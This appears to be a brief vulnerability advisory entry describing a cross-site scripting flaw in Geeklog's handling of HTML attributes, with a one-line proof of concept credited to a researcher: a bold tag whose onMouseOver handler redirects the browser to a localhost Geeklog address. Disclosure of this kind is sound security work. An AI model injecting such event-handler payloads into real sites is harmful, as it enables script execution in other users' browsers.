• info
• discussion
• exploit
• solution
• references

Geeklog HTML Attribute Cross Site Scripting Vulnerability

The following proof of concept was provided by Ulf Harnhammar <ulfh@update.uu.se>:
<b onMouseOver="self.location.href='http://localhost/geeklog/'">